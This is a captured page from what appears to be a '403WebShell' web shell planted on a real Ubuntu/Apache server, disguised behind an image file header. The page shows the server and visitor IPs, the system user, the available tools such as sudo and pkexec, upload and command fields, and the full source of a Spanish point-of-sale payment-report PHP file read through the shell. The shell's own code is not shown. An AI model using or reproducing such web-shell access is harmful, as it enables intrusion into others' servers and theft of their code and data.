����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.117.85.73
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/paymentreport2-view.php
<?php
//$clients = PersonData::getClients();

date_default_timezone_set("America/Mexico_City");

 $fecha = date('Y-m-d h:i:s');
			$fechaAtras = strtotime ( '-1 day' , strtotime ( $fecha ) ) ;
			$fechaAtras = date ( 'Y-m-d h:i:s' , $fechaAtras );
			//print "FECHA INICIAL_:";
			//echo $fechaAtras;
			//print "____FECHA FINAL_:";
			$fechaActual = date("Y-m-d h:i:s",time());
			//echo $fechaActual;
		
?>

<section class="content">
<div class="row">
<div class="col-md-26">

				<div class="btn-group pull-right">
				  <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
					<i class="fa fa-download"></i> Corte Caja <span class="caret"></span>
				  </button>
				  <ul class="dropdown-menu" role="menu">
					<li><a onclick="thePDF()" id="makepdf" class="">Corte en (.pdf)</a>
				  </ul>
				</div>
				<div class="btn-group pull-right">
					<a href="./index.php?view=boxhistory" class="btn btn-primary "><i class="fa fa-clock-o"></i> Historial</a>
					<a href="./index.php?view=processbox" class="btn btn-primary ">Procesar Corte <i class="fa fa-arrow-right"></i></a>
				</div>
					<h1><i class='fa fa-archive'></i>Detalle De Operaciones</h1>
					<h1>Desglose Ventas</h1>
					<p>Al procesar ventas se generara un corte de caja para todas las ventas del almacen: <b><?php echo StockData::getPrincipal()->name; 
					$almacen= StockData::getPrincipal()->name;
					?></b></p>
			<div class="clearfix"></div>

				
			<?php
			$products = SellData::getSellsUnBoxed();
			$sellsCredit = SellData::getSellCreditsUnBoxed();
			$total_total = 0;
			?>

			<?php
			if(count($products)>0){
			?>
			<br>
			<div class="box box-primary">
			<table class="table table-bordered table-hover	">
				
				<tbody>
				
				

			
				</tbody>
				<td><td><td colspan="2"><td><u></u></td></td></td></td>
			</table>
			</div>


			<?php
			if(count($sellsCredit)>0){
			?>
			<br>
			<div class="box box-primary">
			<table class="table table-bordered table-hover	">
				<thead>
					<th></th>
					<th>Folio</th>
					<th> Id Venta</th>
					<th>Total</th>
					<th>Abono</th>
					<th>% de Enganche</th>
					<th>Fecha</th>
					<th>Forma de Pago(Abono)</th>
					
				</thead>
				<?php 
				$Total_A=0;
				foreach($sellsCredit as $sell):
				?>

				<tr>
					<td style="width:30px;">
					</td>
					<td>
					<?php echo $sell->id; ?>
					</td>
					<td>
					<?php echo $sell->sale_id; ?>
					</td>
					
					<td>

			<?php
					
					echo "<b>$ ".number_format($sell->total,2,".",",")."</b>";
					//sumar total de abonos
					$Total_A += $sell->enganche;
			?>			

					</td>
					<td><?php echo $sell->enganche; ?></td>
						
					
						<td><?php echo $sell->discount; ?></td>
					
				
					<td><?php echo $sell->created_at; ?></td>
					<td colspan="2"><p><small><?php echo "Efectivo"; ?></p></small></td>
					<td></td>
				</tr>
				<td><td><td colspan="2">       _____________________________________________________________Total Abonos:<td><u><p><?php echo "$ ".number_format($Total_A,2,".",","); ?></p></u></td></td></td></td>
			<?php endforeach;
				
			  }//final if de ventas a credito
			 ?>
			 </table>
			</div>
				



				<?php
			}else {

			?>
				<div class="jumbotron">
					<h2>No hay ventas</h2>
					<p>No se ha realizado ninguna venta.</p>
				</div>

			<?php } ?>

				

			<?php 
				$users = SpendData::getAllUnBoxed();
						
				 $totaldev = 0;
				if(count($users)>0):
			?>

				<h1>Desglose Devoluciones</h1>
					<p> Almacen:<b><?php echo StockData::getPrincipal()->name; 
					$almacen= StockData::getPrincipal()->name;
					?></b></p>
					<div class="clearfix"></div>
					
					<div class="box box-primary">
						<table class="table table-bordered table-hover	">
							<thead>
							<th>Datos Devolucion</th>
							<th>Folio</th>
							<th>Forma de Pago</th>
							<th>Monto</th>
							<th></th>
							</thead>
							<tbody>
							<?php foreach($users as $user):?>
								<tr>
								<td><?php echo $user->name; ?></td>
								<td><?php echo $user->id_dev; ?></td>
								<td><?php 
								$NameDev = FData::getById($user->f_pago);
								echo $NameDev->id;
								echo "-";
								echo $NameDev->name;
								?>
								</td>
								<td>$ <?php echo $user->price; ?></td>
								<td></td>
								</tr>
								<?php $totaldev+=$user->price; ?>
						
							<?php endforeach; ?>
							</tbody>
							<td><td><td colspan="2"> <h4 align="left"><u>Total Devoluciones: $ <?php echo number_format($totaldev,2,".",","); ?></u></h4> </td></td></td></td>
						</table>

					</div>
				
			<?php
				else:
				$totaldev=0;
			?>

			<?php endif; ?>


					
			<div class="row">
				<div class="col-md-26">
					
						<?php 
						$operations = array();
						
							$operations = PaymentData::getAllByDate($fechaAtras, $fechaActual);

						
						 ?>

			<?php if(count($operations)>0):?>

			<div class="row">
				<div class="col-md-20">
				<h1>_____Desglose Pagos_____</h1>					
				</div>
			</div>

				<?php $t=0; foreach($operations as $operation){ $t+=$operation->val; }?>

			<div class="box box-primary">
			<table class="table table-bordered">
				<thead>
					<th></th>
					<th>Cliente</th>
					<th>Valor</th>
					<th>Fecha</th>
				</thead>
			<?php foreach($operations as $operation):?>
				<tr>
					<td></td>
					<td><?php $c= $operation->getClient();echo $c->name; ?></td>
					<td>$ <?php echo number_format(abs($operation->val),2,".",","); ?></td>
					<td><?php echo $operation->created_at; ?></td>
				</tr>
			<?php endforeach; ?>

			</table>

			</div>

			<h2>       ___________________________________________________Total Pagos: $ <?php echo number_format(abs($t),2,".",","); ?></h2> 
			<?php $gran_p=abs($t); ?>
			 
			<?php else:
						 // si no hay operaciones pagos
						 $gran_p=0;
			?>

			<?php endif; ?>

			<?php $gran_total=$gran_p + $total_total; 


			?>
			<div class="row">
			<div class="col-md-26">
			<div class="box box-primary">
			<table class="table table-bordered table-hover	">
				<thead>
					<th></th>
					<th>Efectivo</th>
					<th>T.Debito</th>
					<th>T. Credito </th>
					<th>Otros(Cheque,Transferencia)</th>
				</thead>
				<tr>
					<td></td>
					<?php if(isset($Total_F1)):?>
					<td><u><p><?php echo "$ ".number_format($Total_F1 + $Total_A,2,".",","); ?></p></u></td>
					<td><u><p><?php echo "$ ".number_format($Total_F2,2,".",","); ?></p></u></td>
					<td><u><p><?php echo "$ ".number_format($Total_F3,2,".",","); ?></p></u></td>
					<td><u><p><?php echo "$ ".number_format($Total_F4,2,".",","); ?></p></u></td>
					<?php else:?>
					<td><u><p>$ 0</p></u></td>
					<td><u><p>$ 0</p></u></td>
					<td><u><p>$ 0</p></u></td>
					<td><u><p>$ 0</p></u></td>
					<?php endif;?>
					
				</tr>
			</table>
			</div>
			</div>
			</div>
			 
			 <div class="box box-primary">
			<table class="table table-bordered table-hover	">
				<?php if(isset($Total_A)):?>
					<th><h2 align="right"><u>Total al Corte: $ <?php echo number_format(($gran_total + $Total_A) - $totaldev,2,".",","); ?></u></h2></th>
					<td></td>
				<?php else:?>
					<th><h2 align="right"><u>Total al Corte: $ <?php echo number_format($gran_total-$totaldev,2,".",","); ?></u></h2></th>
					<td></td>
				<?php endif;?>
				
			</table>
			</div>
			 
					
			</div>
			</div>

</div>
</div>

</section>

<script type="text/javascript">
        function thePDF() {
var doc = new jsPDF('p', 'pt');
        doc.setFontSize(26);
        doc.text("<?php echo ConfigurationData::getByPreffix("company_name")->val;?>", 80, 85);
        doc.setFontSize(16);
		doc.text( "CORTE: <?php echo date("d-m-Y h:i:s");?>  ", 40, 130);
        doc.text( "TOTAL VENTAS.................................................: <?php echo "$ ".number_format($total_total,2,".",","); ?> ", 50, 180);
		doc.text( "TOTAL PAGOS..................................................: <?php echo " $ ".number_format(abs($t),2,".",","); ?> ", 50, 200);
		doc.text( "TOTAL DEVOLUCION.......................................: <?php echo " $ ".number_format($totaldev,2,".",","); ?> ", 50, 220);
		doc.text( "______________________________________________________________", 40, 230);
		doc.text( "TOTAL CORTE...................................................: <?php echo " $ ".number_format($gran_total,2,".",","); ?> ", 50, 260);
		doc.setFontSize(12);
        doc.text("Usuario: <?php echo Core::$user->name." ".Core::$user->lastname; ?>  ", 50, 150);

<?php 
$con = ConfigurationData::getByPreffix("report_image");
if($con!=null && $con->val!=""):
?>
var img = new Image();
img.src= "storage/configuration/<?php echo $con->val;?>";
img.onload = function(){
doc.addImage(img, 'PNG', 20, 50, 60, 60,'mon');	
doc.save('CORTE-<?php echo date("d-m-Y",time()); ?>.pdf');
}
<?php else:?>
doc.save('Corte-<?php echo date("d-m-Y",time()); ?>.pdf');
<?php endif; ?>
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit